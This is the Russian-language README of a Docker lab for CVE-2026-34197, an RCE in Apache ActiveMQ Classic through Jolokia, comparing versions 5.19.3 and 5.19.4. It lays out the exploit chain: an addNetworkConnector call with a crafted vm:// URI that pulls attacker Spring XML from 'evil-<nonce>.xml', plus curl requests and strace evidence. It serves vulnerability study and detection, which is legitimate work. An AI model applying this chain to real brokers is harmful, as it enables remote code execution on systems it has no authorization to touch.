
Docker-лаборатория, демонстрирующая CVE-2026-34197 — RCE в Apache ActiveMQ Classic через Jolokia. Включает безопасный детектор и локальный PoC с фиксированной командой, сравнивающий уязвимую и пропатченную версии.
Этот репозиторий представляет собой локальный Docker-стенд для изучения CVE-2026-34197 — проблемы удалённого выполнения кода в Apache ActiveMQ Classic, доступной через Jolokia JMX-HTTP API.
Стенд сравнивает два экземпляра ActiveMQ Classic бок о бок:
| Сервис | Версия | Назначение | URL |
|---|
vuln | 5.19.3 | Уязвимая цель | http://127.0.0.1:8081 |
patched | 5.19.4 | Сравнительная исправленная цель | http://127.0.0.1:8082 |
Репозиторий содержит два proof-скрипта:
| Скрипт | Назначение | Модель безопасности |
|---|---|---|
poc/detect.py | Авторизованный детектор | Только HTTP; не эксплуатирует |
poc/poc.py | Локальное доказательство RCE-пути | Только фиксированная команда: id; whoami; sleep 5 |
Доказательства выполнения проверяются отдельно оператором с помощью инструментов наблюдения за процессами, таких как strace.
CVE-2026-34197 затрагивает Apache ActiveMQ Classic в версиях, где аутентифицированный пользователь может использовать Jolokia API для вызова операций управления брокером и заставить JVM брокера загрузить управляемый атакующим Spring XML через специально сформированный URI brokerConfig=xbean:http://....
Уязвимый поток, демонстрируемый в этом стенде:
Jolokia /api/jolokia/
-> Операция MBean брокера
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> Удалённая загрузка Spring XML
-> Инициализация бина ProcessBuilder
-> Фиксированная локальная proof-команда
Исправленный сервис блокирует этот путь до загрузки XML и возвращает ошибку, похожую на:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml запускает уязвимый и исправленный сервисы ActiveMQ.vuln/Dockerfile собирает Apache ActiveMQ Classic 5.19.3.patched/Dockerfile собирает Apache ActiveMQ Classic 5.19.4.poc/detect.py проверяет доступность Jolokia, версию ActiveMQ и видимость MBean брокера.poc/poc.py запускает локальный RCE-путь с использованием фиксированной безвредной команды.images/strace.png содержит локальные доказательства наблюдения за процессами с уязвимого сервиса..gitignore исключает локальные артефакты, кэш-файлы Python, виртуальные окружения, журналы и секреты.Этот репозиторий предназначен только для локального лабораторного использования и авторизованной проверки безопасности.
PoC намеренно ограничен:
id; whoami; sleep 5.strace.Разрешённые локальные цели для poc.py:
127.0.0.1
localhost
::1
Не используйте этот репозиторий против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
docker compose down -v
docker compose build
docker compose up -d
Проверка статуса сервисов:
docker compose ps
Ожидаемые сервисы:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Проверка уязвимого сервиса:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Проверка исправленного сервиса:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Ожидаемые версии:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py — безопасный скрипт по умолчанию. Он не эксплуатирует цель.
Он проверяет:
/api/jolokia/version;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Ожидаемый результат:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
Детектор помечает цель как LIKELY_VULNERABLE, когда:
Jolokia доступен
+
Версия ActiveMQ попадает в затронутый диапазон
Затронутые диапазоны, используемые в этом стенде:
5.x < 5.19.4
6.x < 6.2.3
Видимость MBean брокера используется как подтверждающее доказательство, поскольку путь эксплуатации relies на операции управления брокером.
Детектор не заявляет CONFIRMED_RCE.
poc/poc.py демонстрирует RCE-путь в локальном Docker-стенде.
Он запускает временный HTTP-сервер на хосте и обслуживает Spring XML-полезную нагрузку по пути, уникальному для каждого запуска:
/evil-<nonce>.xml
Затем он вызывает MBean брокера ActiveMQ через Jolokia:
addNetworkConnector(java.lang.String)
с специально сформированным discovery URI:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
Уязвимый брокер загружает этот XML. Исправленный брокер блокирует транспортную схему vm:// до загрузки XML.
После уязвимого запуска созданный NetworkConnector может повторять попытки загрузки старого XML-пути. Скрипт использует уникальный nonce для каждого запуска и отслеживает matches_current_run, чтобы избежать ложных срабатываний.
Попадание засчитывается только для текущего запуска, если оно соответствует:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Ожидаемый вывод:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Это подтверждает, что ActiveMQ 5.19.3 можно заставить загрузить управляемый атакующим Spring XML через управляемый Jolokia путь брокера.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Ожидаемый вывод:
VM scheme is not allowed
[-] No XML fetch observed for this run.
Если появляются попадания от более старого уязвимого запуска, они должны показывать:
"matches_current_run": false
Они не засчитываются как успех исправленного сервиса.
PoC-скрипт не собирает вывод команды. Чтобы подтвердить выполнение команды, наблюдайте за созданием процессов внутри уязвимого контейнера.
Войдите в уязвимый контейнер от имени root:
docker exec -it --user root cve-2026-34197-vuln bash
Найдите Java-процесс:
pgrep -af java
Подключите strace к Java PID:
strace -f -e execve -p <JAVA_PID>
В другом терминале запустите PoC против уязвимого сервиса:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Ожидаемые доказательства от strace:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
Это доказательства на уровне ОС того, что фиксированная proof-команда была выполнена JVM брокера.

PoC пытается удалить имя NetworkConnector по умолчанию NC перед запуском. Это обеспечивает предсказуемость повторных лабораторных запусков.
Ручная очистка:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Или перезапустите стенд:
docker compose restart vuln patched
| Тест | Уязвимая 5.19.3 | Исправленная 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Доступ к Jolokia | Доступен с аутентификацией | Доступен с аутентификацией |
| MBean брокера | Виден | Виден |
Загрузка XML в poc.py | Да | Нет |
| Сигнатура блокировки | Н/Д | VM scheme is not allowed |
| Доказательства команды через strace | /bin/sh -c 'id; whoami; sleep 5' | Не ожидается |